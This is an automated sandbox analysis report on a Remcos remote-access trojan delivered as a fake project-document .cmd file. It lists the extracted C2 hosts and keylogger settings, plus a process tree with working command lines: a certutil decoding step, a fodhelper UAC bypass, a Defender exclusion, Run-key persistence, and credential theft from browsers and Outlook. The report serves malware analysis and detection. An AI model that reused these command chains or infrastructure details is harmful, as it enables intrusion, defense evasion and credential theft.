Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/05/2024, 16:22

General

  • Target
    BOQ_47864594_AL Madheef Project_2024_05_13.cmd
  • Size 3.1MB
  • Sample240513-tvkfjaee77
  • SHA256 87e33717f1c7e5d6eee0ea7c0acce23802df61d885015eb55991d57315d7ce77
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • MAY DEVOTION 2024

C2
  • pentester0.accesscam.org:56796

  • archived.zapto.org:56797

  • honeypotresearchteam.duckdns.org:13922

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    wetransfer.exe

  • copy_folder

    wetransfer

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    wetransfer

  • mouse_option

    false

  • mutex

    wetransfer-F4RIT7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 29 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BOQ_47864594_AL Madheef Project_2024_05_13.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:528
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:180
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:5036
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3456
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3304
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BOQ_47864594_AL Madheef Project_2024_05_13.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BOQ_47864594_AL Madheef Project_2024_05_13.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:3108
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:1192
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2760
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1844
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2012
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:4364
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4608
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1664
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3540
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:4388
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4524
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4548
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:3480
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2176
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5064
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:5080
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Rzpcyblh.PIF
                  3⤵
                    PID:3424
                  • C:\Users\Public\Libraries\hlbycpzR.pif
                    C:\Users\Public\Libraries\hlbycpzR.pif
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    PID:3340
                    • C:\Users\Public\Libraries\hlbycpzR.pif
                      C:\Users\Public\Libraries\hlbycpzR.pif /stext "C:\Users\Admin\AppData\Local\Temp\xnqchqzrpwfawvtvriacir"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:724
                    • C:\Users\Public\Libraries\hlbycpzR.pif
                      C:\Users\Public\Libraries\hlbycpzR.pif /stext "C:\Users\Admin\AppData\Local\Temp\ihvuhajtdexfzbpzisndtwvvab"
                      4⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook accounts
                      PID:4668
                    • C:\Users\Public\Libraries\hlbycpzR.pif
                      C:\Users\Public\Libraries\hlbycpzR.pif /stext "C:\Users\Admin\AppData\Local\Temp\sjbnitunzmpkjqddrdixwjhebpylh"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1972
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:724
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:2212
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:4612
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4964
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4596
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2184
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1236
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2644
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:3684

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      __PSScriptPolicyTest_1vv2ggzk.03f.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vv2ggzk.03f.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      xnqchqzrpwfawvtvriacir

                      • Path C:\Users\Admin\AppData\Local\Temp\xnqchqzrpwfawvtvriacir
                      • Size 4KB
                      • SHA256 0ef9194c6e90b23c416316fc5a15f549ee5b2472014fcd7648d72ca9a865b409
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.pif

                      • Path C:\Users\Public\Libraries\Ping_c.pif
                      • Size 1.1MB
                      • SHA256 d3bf0cabd6ac5c52e6a7dde6b3853d5c6963b839a611ea310a883dfb11e96087
                      • MD5 SHA1 SHA512 SSDEEP

                      hlbycpzR.pif

                      • Path C:\Users\Public\Libraries\hlbycpzR.pif
                      • Size 66KB
                      • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.mp4

                      • Path C:\Users\Public\Ping_c.mp4
                      • Size 2.1MB
                      • SHA256 604b7c9f8e98ebc2b14ef486e35304754fd21ecd667f8c2780a0239182371c6e
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/724-106-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/724-125-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/724-102-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/724-109-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/1664-41-0x0000016E9C2F0000-0x0000016E9C312000-memory.dmp

                      memory/1972-122-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1972-117-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1972-111-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1972-113-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1972-119-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/3340-86-0x0000000000590000-0x0000000001590000-memory.dmp

                      memory/3340-93-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-97-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-99-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-100-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-101-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-137-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-136-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-95-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-94-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-135-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-133-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-92-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-96-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-91-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-90-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-89-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-87-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-83-0x0000000000590000-0x0000000001590000-memory.dmp

                      memory/3340-134-0x00000000004F0000-0x0000000000572000-memory.dmp

                      memory/3340-128-0x0000000015410000-0x0000000015429000-memory.dmp

                      memory/3340-132-0x0000000015410000-0x0000000015429000-memory.dmp

                      memory/3340-131-0x0000000015410000-0x0000000015429000-memory.dmp

                      memory/4668-110-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/4668-121-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/4668-108-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/4668-104-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/5080-75-0x0000000000400000-0x0000000000517000-memory.dmp